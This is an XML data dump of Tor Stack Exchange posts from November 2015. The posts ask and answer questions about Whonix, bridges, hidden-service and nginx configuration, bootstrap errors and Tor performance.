  <row Id="8968" PostTypeId="1" AcceptedAnswerId="8969" CreationDate="2015-11-06T21:54:32.740" Score="1" ViewCount="148" Body="&lt;p&gt;I'm a new user to Tor/Whonix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a question about it and I hope you can help. Or, if there is documentation that answers each question I have, feel free to post it and I am sorry for wasting your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't want to run an &lt;strong&gt;exit node&lt;/strong&gt; I hear people have contact from their ISP/Police etc when operating an exit relay. Does Whonix ever operate as an exit node? From what I understand, the exit node is the only unencrypted part of the chain and therefore anyone can see what people have been searching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have absolutely no intention of doing anything illegal on it, I'm just worried about being held responsible for someone else's behavior. We were speaking about it in a lecture today but they would not show us the &quot;dark web&quot; so I want to see what it's like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers for any help. &lt;/p&gt;&#xA;" OwnerUserId="9829" LastActivityDate="2015-11-06T22:27:07.100" Title="I have a few questions about Whonix/Tor" Tags="|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8969" PostTypeId="2" ParentId="8968" CreationDate="2015-11-06T22:27:07.100" Score="2" Body="&lt;p&gt;Non-issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whonix by default is using the Tor network as a client only. (Changing this is even difficult.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You won't be running any kind of relay by using Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same goes for the Tor Browser Bundle (TBB) and Tails.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2015-11-06T22:27:07.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8970" PostTypeId="2" ParentId="8947" CreationDate="2015-11-07T00:06:27.987" Score="1" Body="&lt;p&gt;This isn't a question about Tor. It really boils down to: &lt;em&gt;How do I programmatically check whether two websites are the same?&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where those two websites are, 1) the site when browsing without Tor, 2) the site when browsing with Tor. (Assuming you won't be comprimised in any way by browsing the site without using Tor.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the most simplistic level, you could just compare the contents of the &lt;code&gt;Response&lt;/code&gt; objects returned by the &lt;code&gt;requests&lt;/code&gt; API. To do a complete job would be a lot more work. You'd effectively have to crawl each of the two sites, following links to child pages that may or may not be in different sub-domains (and so may have different firewall/filtering profiles), and deal with situations where user interaction is required (which would need to be handled by your script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not one for pessimism, and I certainly value the problem-solving/fun aspects of such a project, but I'd be inclined to find a pre-existing tool that does the job for you. There are a &lt;a href=&quot;https://www.google.co.uk/search?q=python%20compare%20two%20websites&amp;amp;rls=com.microsoft:en-GB:%7Breferrer:source?%7D&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&amp;amp;sourceid=ie7&amp;amp;rlz=1I7SKPT_en&amp;amp;gfe_rd=cr&amp;amp;ei=7Ts9VtGqBoON1AWZ04CIAw&quot; rel=&quot;nofollow&quot;&gt;few threads&lt;/a&gt; on the Stack Overflow site that might also be of help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, on the Tor wiki there's a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/doc/ListOfServicesBlockingTor&quot; rel=&quot;nofollow&quot;&gt;list of services&lt;/a&gt; known to block Tor, together with a list of software that can be used to do the blocking. Perhaps working out a way to check for signatures of the blocking software would be another approach. (This might be more complicated that just checking for Captchas.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-11-07T00:06:27.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8971" PostTypeId="2" ParentId="8868" CreationDate="2015-11-07T01:10:47.823" Score="5" Body="&lt;p&gt;As someone who has used web sockets for their hidden service, it is definitely possible. Here are a few pieces of advice:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Web sockets absolutely will not work without JavaScript. Make sure that your JavaScript is clean and readable if you want people to actually use your service.&lt;/li&gt;&#xA;&lt;li&gt;Use NGINX over Apache. The proxy module for NGINX is mush faster than Apache's. When you add the potential slowness that comes with using tor, timeouts may become a reality.&lt;/li&gt;&#xA;&lt;li&gt;Make sure that the web socket has a plan for unicode. People will try speaking in Russian, Korean, Arabic, etc. If your web socket isn't expecting unicode, it may crash.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other than that, web sockets over tor are no different from hosting a web socket on the clearnet.&lt;/p&gt;&#xA;" OwnerDisplayName="user7782" LastActivityDate="2015-11-07T01:10:47.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8973" PostTypeId="2" ParentId="7584" CreationDate="2015-11-07T16:14:58.780" Score="0" Body="&lt;p&gt;This is my tutorial that using Chrome/Opera with tor &lt;a href=&quot;https://www.youtube.com/watch?v=JCwj5b_Mvf8&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=JCwj5b_Mvf8&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9827" LastActivityDate="2015-11-07T16:14:58.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8974" PostTypeId="2" ParentId="8855" CreationDate="2015-11-07T20:17:12.770" Score="1" Body="&lt;p&gt;You can use the Expert Bundle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to create a &lt;code&gt;torrc&lt;/code&gt; file in C:\Users\you\AppData\Roaming\tor\&lt;br&gt;&#xA;It needs to have at least one &lt;code&gt;HiddenServiceDir&lt;/code&gt; and one &lt;code&gt;HiddenServicePort&lt;/code&gt; directive.&lt;br&gt;&#xA;This is enough to host a hidden service.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-07T20:17:12.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8975" PostTypeId="2" ParentId="7371" CreationDate="2015-11-07T21:20:29.707" Score="1" Body="&lt;p&gt;You can run a hidden service on your computer or any computer inside your local network. You can then add &lt;code&gt;HiddenServicePort&lt;/code&gt; directives for all the ports you want reachable.&lt;br&gt;&#xA;This way you go around NAT because both your HS and your client connect out to the Tor network and neither need to be reachable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to do anything special to your router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here for &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;how to setup a hidden service&lt;/a&gt;.&lt;br&gt;&#xA;See here for some extra security: &lt;a href=&quot;https://tor.stackexchange.com/questions/219/how-to-use-hidden-service-authentication&quot;&gt;How to use Hidden Service Authentication?&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-11-07T21:20:29.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8976" PostTypeId="1" CreationDate="2015-11-07T23:38:51.490" Score="6" ViewCount="458" Body="&lt;p&gt;When using a bridge, if my own Tor client builds the circuit, how does it know relays IP addresses (middle and exit IP addresses and their public keys) ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it take them from the bridge?&lt;/p&gt;&#xA;" OwnerUserId="8107" LastEditorUserId="350" LastEditDate="2015-11-08T21:03:11.450" LastActivityDate="2016-06-21T14:08:13.430" Title="How does Tor client build circuits when using a bridge?" Tags="|circuit|bridge|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8977" PostTypeId="2" ParentId="8976" CreationDate="2015-11-08T01:06:49.303" Score="4" Body="&lt;p&gt;Yes, they are taken from the bridge.&lt;br&gt;&#xA;Every bridge has the latest directory information cached (just like any directory mirror), and Tor clients fetch them directly and build circuits with the bridge as an entry guard.&lt;br&gt;&#xA;A bridge that has just started for few minutes could cause clients who connect to it fail since directory information has not been downloaded yet. This is sometimes (in old versions) caused by a bug, but also happens when the bridge has trouble doing directory fetches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;nobody_is_wrong is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/125-bridges.txt&quot; rel=&quot;nofollow&quot;&gt;The bridge proposal&lt;/a&gt; tells that a bridge client will send non-anonymized directory requests directly to the bridge, and do anonymized directory fetches through regular multi-hop directory circuits.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bridge users are like ordinary Tor users except they use encrypted&#xA;    directory connections by default, and they use bridge relays as both&#xA;    entry guards (their first hop) and directory guards (the source of&#xA;    all their directory information).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3.3. Bridges as directory guards&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In addition to using bridges as the first hop in their circuits, bridge&#xA;    users also use them to fetch directory updates. Other than initial&#xA;    bootstrapping to find a working bridge descriptor (see Section 3.4&#xA;    below), all further non-anonymized directory fetches will be redirected&#xA;    to the bridge.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This means that bridge relays need to have cached answers for all&#xA;    questions the bridge user might ask. This makes the upgrade path&#xA;    tricky --- for example, if we migrate to a v4 directory design, the&#xA;    bridge user would need to keep using v3 so long as his bridge relays&#xA;    only knew how to answer v3 queries.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In a future design, for cases where the user has enough information&#xA;    to build circuits yet the chosen bridge doesn't know how to answer a&#xA;    given query, we might teach bridge users to make an anonymized request&#xA;    to a more suitable directory server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to the current code (see &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/networkstatus.c&quot; rel=&quot;nofollow&quot;&gt;networkstatus.c&lt;/a&gt;), anonymized directory connection is never used for fetching microdescs and consensuses.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="4894" LastEditDate="2016-06-21T14:08:13.430" LastActivityDate="2016-06-21T14:08:13.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8978" PostTypeId="1" CreationDate="2015-11-08T01:54:05.543" Score="1" ViewCount="93" Body="&lt;p&gt;I'm completely new tot this. &#xA;I can't seem to connect to the Tor network.&#xA;My network is secured against torrents. When somebody tries to use torrents everybody's internet slows down and it does not work. Maybe that's it? Can I get around this?&#xA;I have no proxy, I have Windows 10.&#xA;I tried some stuff with bridges and &quot;Fascistfirewall1&quot; but as I know nothing about all this, I most likely have made it worse.&lt;/p&gt;&#xA;" OwnerUserId="9836" LastEditorUserId="350" LastEditDate="2015-11-08T16:21:20.800" LastActivityDate="2015-11-08T16:21:20.800" Title="Tor network won't connect - torrent secured network" Tags="|proxy|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8979" PostTypeId="2" ParentId="7371" CreationDate="2015-11-08T06:05:05.933" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to resolve Dynamic DNS with Tor[?]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, not in the sense I am pretty sure you mean.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to [connect to a] Dynamic DNS [address] with Tor so that I can connect to my computer [which] is behind a NAT ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you have a public-facing, internet accessible server available via Dynamic DNS (e.g. somedomain.noip.com), you can connect to this via TOR like any regular website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup your web site to work on the &quot;normal&quot; internet via Dynamic DNS, then use the TOR browser (or however you are using TOR) to access that website (e.g. by typing &quot;somedomain.noip.com&quot; into the TOR browser bar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option, as mentioned by @Jobiwan, is to set the site up as a hidden service (a TOR-only accessible website). If you do this, your site will only be available on the TOR network (i.e. via the TOR browser) and not the &quot;normal&quot; internet. However, if you set up a hidden service, you do not need Dynamic DNS. Your web site will have a TOR .onion address like &lt;em&gt;zxcvbnnfdsfgsskj5.onion&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Third Option&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always set up your web server to respond to both &quot;normal&quot; internet  queries (via Dynamic DNS) and hidden service queries (e.g. &lt;em&gt;zxcvbnnfdsfgsskj5.onion&lt;/em&gt;) by using virtual hosts or the like and pointing each virtual host to the same document root on your web server (the same folder where your website is stored).&lt;/p&gt;&#xA;" OwnerUserId="3027" LastActivityDate="2015-11-08T06:05:05.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8981" PostTypeId="1" CreationDate="2015-11-08T12:07:33.067" Score="0" ViewCount="158" Body="&lt;p&gt;Whenever I try to open it or configure, I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11/6/2015 7:05:39 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;11/6/2015 7:05:47 AM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;11/6/2015 7:05:47 AM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;11/6/2015 7:05:47 AM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;11/6/2015 7:05:47 AM.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;11/6/2015 7:05:50 AM.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;11/6/2015 7:05:50 AM.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;11/6/2015 7:05:51 AM.000 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;11/6/2015 7:05:51 AM.100 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;11/6/2015 7:05:51 AM.200 [NOTICE] new bridge descriptor 'wisctorbridge03' (fresh): $A17A40775FBD2CA1184BF80BFC330A77ECF9D0E9~wisctorbridge03 at 128.105.214.163 &#xA;11/6/2015 7:05:51 AM.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;11/6/2015 7:05:51 AM.600 [NOTICE] new bridge descriptor 'fdctorbridge01' (fresh): $FDC5BA65D93B6BCA5EBDF8EF8E4FA936B7F1F8E5~fdctorbridge01 at 192.240.101.106 &#xA;11/6/2015 7:05:51 AM.600 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;11/6/2015 7:05:51 AM.600 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;11/6/2015 7:05:52 AM.200 [NOTICE] new bridge descriptor 'fdctorbridge02' (fresh): $2BD466989944867075E872310EBAD65BC88C8AEF~fdctorbridge02 at 50.7.176.114 &#xA;11/6/2015 7:05:52 AM.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;11/6/2015 7:05:53 AM.400 [WARN] Our clock is 1 days, 21 hours, 54 minutes behind the time published in the consensus network status document (2015-11-08 10:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;11/6/2015 7:05:53 AM.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;11/6/2015 7:05:53 AM.900 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;11/6/2015 7:05:55 AM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;11/6/2015 7:05:55 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;11/6/2015 7:05:55 AM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;11/6/2015 7:05:55 AM.800 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (DONE; DONE; count 1; recommendation warn; host FC562097E1951DCC41B7D7F324D88157119BB56D at 128.105.214.162:8080) &#xA;11/6/2015 7:05:55 AM.800 [WARN] 1 connections have failed: &#xA;11/6/2015 7:05:55 AM.800 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;11/6/2015 7:05:56 AM.800 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (DONE; DONE; count 2; recommendation warn; host 1E326AAFB3FCB515015250D8FCCC8E37F91A153B at 128.105.214.161:8080) &#xA;11/6/2015 7:05:56 AM.800 [WARN] 2 connections have failed: &#xA;11/6/2015 7:05:56 AM.800 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;11/6/2015 7:05:56 AM.900 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (DONE; DONE; count 3; recommendation warn; host 0E858AC201BF0F3FA3C462F64844CBFFC7297A42 at 131.252.210.150:8080) &#xA;11/6/2015 7:05:56 AM.900 [WARN] 3 connections have failed: &#xA;11/6/2015 7:05:56 AM.900 [WARN]  3 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;11/6/2015 7:05:56 AM.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9840" LastEditorUserId="1730" LastEditDate="2015-11-09T21:08:53.210" LastActivityDate="2015-11-09T21:08:53.210" Title="problems connecting" Tags="|help|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-04-29T18:03:39.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="8982" PostTypeId="1" CreationDate="2015-11-08T13:16:32.123" Score="0" ViewCount="105" Body="&lt;p&gt;I have problem with sending mail via tor. I have freemail seznam.cz and centrum.cz. After I updated on Tor Browser  5.5a4 I have problem. I send mail, but nobody gets my mail. &lt;/p&gt;&#xA;" OwnerUserId="9841" LastActivityDate="2015-11-08T13:16:32.123" Title="Problem with sending mail via tor from freemail" Tags="|email|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8983" PostTypeId="2" ParentId="6887" CreationDate="2015-11-08T13:43:00.707" Score="5" Body="&lt;p&gt;The first warning in the logs is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11/6/2015 7:05:53 AM.400 [WARN] Our clock is 1 days, 21 hours, 54 minutes behind the time published in the consensus network status document (2015-11-08 10:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this is currently your main problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tor needs an accurate clock to work correctly. Please check your time and date settings!&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vancouver-webpages.com/time/&quot; rel=&quot;noreferrer&quot;&gt;This&lt;/a&gt; page is a good resource for understanding how accurate your machine's clock is.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-11-08T13:43:00.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8987" PostTypeId="1" AcceptedAnswerId="8988" CreationDate="2015-11-08T18:05:11.233" Score="1" ViewCount="1337" Body="&lt;p&gt;Especially using OrBot on the phone Tor sometimes feels faster. Since I am not sure on how to really measure this I have been thinking about what the reason for this could be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following theories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Everything goes over a single connection and using fewer connections speeds up things, if the exit node is better in handling this.&lt;/li&gt;&#xA;&lt;li&gt;The exit node might have a DNS cache that already knows about the hostname I am looking up. Potentially it even has an HTTP cache, speeding things up further.&lt;/li&gt;&#xA;&lt;li&gt;The connection from me through the circuit and eventually  to the website I am accessing is a better path than from me directly to the website. This could potentially be due to the connections between the data centers of the nodes (special lines).&lt;/li&gt;&#xA;&lt;li&gt;Stuff that Tor or the Tor Browser blocks or requests that don't have responses, because they block Tor.&lt;/li&gt;&#xA;&lt;li&gt;OrBot/The Tor Browser take fewer resources.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Has any research been done on that? Are any of those clearly impossible? Is there a good way to measure that? Just doing a small script testing download speed is probably not enough, most websites load a lot of resources, sometimes even third party. Has this probably been measured by OONI? Is there maybe a project related to making Tor faster that analyzes this?&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-11-08T20:55:46.000" Title="Can Tor make your browsing faster?" Tags="|tor-browser-bundle|orbot|speed|performance|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8988" PostTypeId="2" ParentId="8987" CreationDate="2015-11-08T20:55:46.000" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Everything goes over a single connection and using fewer connections speeds up things&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is possible, especially over a cellular network. Of your 5 theories, this is the best one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;The exit node might have a DNS cache  &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not it. A normal DNS lookup from your ISP or whatever DNS you use is at least as fast as through Tor. (There might be an advantage as hostname resolution is not a separate step, but passed along the stream setup, but I'm not sure on this.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;The connection from me through the circuit and eventually to the website I am accessing is a better path&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not likely. Through Tor, you start with a disadvantage of routing through 3 relays. On average it would be slower.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Stuff that Tor or the Tor Browser blocks &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This might also be a contributing factor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;OrBot/The Tor Browser take fewer resources&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Honestly don't know but I don't believe it.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-08T20:55:46.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8989" PostTypeId="1" CreationDate="2015-11-09T10:35:50.090" Score="2" ViewCount="1526" Body="&lt;p&gt;Over at one of the guides on setting up hidden ssh service via tor, &lt;a href=&quot;http://mancoosi.org/~abate/hidden-ssh-service-tor&quot; rel=&quot;nofollow&quot;&gt;http://mancoosi.org/~abate/hidden-ssh-service-tor&lt;/a&gt;, it's claimed that due to all the layers of indirection it'll be really slow.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and then ssh-way youronionhost.onion server . The connection will be veeeeery slow since you are going through different layers of encryption and indirection. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is the claim substantiated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many ms of latency are we talking about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any settings to control the delay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I still expect an uninterrupted connection?&lt;/p&gt;&#xA;" OwnerUserId="9848" LastActivityDate="2016-08-31T00:50:00.920" Title="Would ssh hidden service be very slow?" Tags="|onion-services|ssh|speed|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8991" PostTypeId="1" CreationDate="2015-11-09T17:42:35.443" Score="1" ViewCount="1941" Body="&lt;p&gt;New to Tails and would appreciate some assistance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have a Geforce GTX 970 with a 1920 X 1080 monitor (primary) connected via DVI-D and a old 1024 X 768 VGA connected using a DVI-I adapter. Nvidia has kindly made analogue devices the primary output device resulting in me needing to use the older monitor to enter the bios and for tails. I can handle it for the bios as I can use my primary monitor fine in windows. I would however prefer to use the 1920X1080 monitor in Tails and I can only achieve that by disconnecting the vga monitor which is rather annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone talk me through how to install a driver or tweak so I can use my primary monitor or point me in the right direction please?&lt;/p&gt;&#xA;" OwnerUserId="9852" LastActivityDate="2016-02-18T20:39:41.700" Title="Tails Graphics/driver help" Tags="|tails|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8993" PostTypeId="1" CreationDate="2015-11-10T03:15:39.100" Score="3" ViewCount="68" Body="&lt;p&gt;I don't understand why some sites refuse to allow tor users to log in.  I can see why some might resent anonymity, but you aren't anonymous after you log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my issue &lt;strong&gt;today&lt;/strong&gt; is that I can't get a login form here on SE.  I don't recall this happening before.  New SE policy?  Bug in the latest tor browser?  Bug in SE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click a login link, browser shows all the visual characteristics of going to another page, but then refreshes the page I was already on.  Sign up link works as expected, but I don't want a new account!&lt;/p&gt;&#xA;" OwnerUserId="9859" LastActivityDate="2015-11-10T03:15:39.100" Title="Cannot get SE login form with tor browser" Tags="|tor-browser-bundle|security|" AnswerCount="0" CommentCount="1" ClosedDate="2016-03-10T22:02:36.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="8995" PostTypeId="1" CreationDate="2015-11-10T13:48:30.603" Score="3" ViewCount="1706" Body="&lt;p&gt;I would like to setup 3 hidden services on the same computer with nginx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My torrc looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory /var/lib/tor  &#xA;HiddenServiceDir /var/lib/tor/hidden_service/   &#xA;HiddenServicePort 80 127.0.0.1:80   &#xA;&#xA;HiddenServiceDir /var/lib/tor/hidden_service1/  &#xA;HiddenServicePort 80 127.0.0.1:8081  &#xA;&#xA;HiddenServiceDir /var/lib/tor/hidden_service2/  &#xA;HiddenServicePort 80 127.0.0.1:8082  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have 3 files in /etc/nginx/sites-available:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hidden_service&lt;/li&gt;&#xA;&lt;li&gt;hidden_service1&lt;/li&gt;&#xA;&lt;li&gt;hidden_service2  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;hidden_service:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server{  &#xA;listen  127.0.0.1:80;  &#xA;&#xA;root /var/www/hidden_service/;  &#xA;index index.html index.htm;  &#xA;server_name xxxxx.onion;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;hidden_service1:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server{  &#xA;listen  127.0.0.1:8081;  &#xA;&#xA;root /var/www/hidden_service/;  &#xA;index index.html index.htm; &#xA;server_name yyyyy.onion;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;hidden_service2:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server{  &#xA;listen  127.0.0.1:8082;  &#xA;&#xA;root /var/www/hidden_service/;  &#xA;index index.html index.htm;  &#xA;server_name zzzzz.onion;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Symbolic links are created between sites-available and sites-enabled.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first hidden_service is working.But the other two are not connecting.&#xA;I tried with different port number and tried with the same port number but no luck.&#xA;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You in advance!&lt;/p&gt;&#xA;" OwnerUserId="9864" LastEditorUserId="112" LastEditDate="2015-11-12T19:53:59.120" LastActivityDate="2015-11-12T19:53:59.120" Title="Running multiple hidden services in nginx" Tags="|onion-services|help|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
